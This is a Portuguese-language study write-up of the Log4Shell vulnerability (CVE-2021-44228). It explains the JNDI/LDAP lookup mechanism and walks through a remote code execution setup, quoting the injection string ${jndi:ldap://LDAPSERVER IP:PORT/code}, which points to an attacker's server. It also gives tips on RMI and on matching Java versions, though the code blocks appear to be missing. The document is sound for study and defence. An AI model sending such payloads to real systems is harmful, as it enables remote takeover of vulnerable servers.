
Estudo da vulnerabilidade CVE-2021-44228
Abaixo está um processo detalhado de um caso de injeção remota explorando a vulnerabilidade log4shell. Primeiro, há 3 partes que precisamos conhecer:
O Log4j2 permite o registro de dados usando um recurso chamado substituição de lookup de mensagem, onde as mensagens de log podem incluir dados obtidos dinamicamente de várias fontes. (Ele suporta JNDI Lookup)
JNDI Lookup: permite que dados sejam obtidos por meio da API Java Naming and Directory Interface (JNDI), que pode interagir com diferentes serviços de diretório

LDAP (Lightweight Directory Access Protocol): usado principalmente para acessar e gerenciar serviços de informação de diretório em uma rede.
Aqui está um exemplo simples de Execução Remota de Código:

O hacker configura tanto um servidor LDAP (acessado pelo protocolo LDAP, mantendo uma referência ao código malicioso Java) quanto um servidor HTTP (o local que armazena o código malicioso)
Configure um servidor HTTP no diretório que contenha o código malicioso compilado:

Configure um servidor LDAP que armazene a referência:

O hacker envia uma entrada maliciosa (${jndi:ldap://LDAPSERVER IP:PORT/code}) para o sistema de software que possui o log4j2 instalado

O Log4j2 usa o recurso de lookup para enviar a solicitação ao servidor LDAP
O servidor LDAP redireciona as solicitações para servidores HTTP por meio das referências de código Java armazenadas nos servidores LDAP
O servidor HTTP envia o código malicioso de volta ao sistema de software, e então o sistema de software executa o código malicioso.
Código malicioso:

Execução do código malicioso bem-sucedida:

IMPORTANTE:
Não é apenas possível usar o servidor LDAP para realizar execução remota de código; também podemos usar outros métodos (como RMI), desde que o log4j2 realize com sucesso a substituição de lookup de mensagem e execute o código malicioso
Versões diferentes do Java podem tornar o processo de exploração diferente (aqui estamos usando o java 1.8u112).
Recomenda-se usar a mesma versão do Java no código malicioso que a do software (servidores usando log4j2) ou, no máximo, uma versão não superior à versão do Java do software.

O código de lookup no Log4j2:
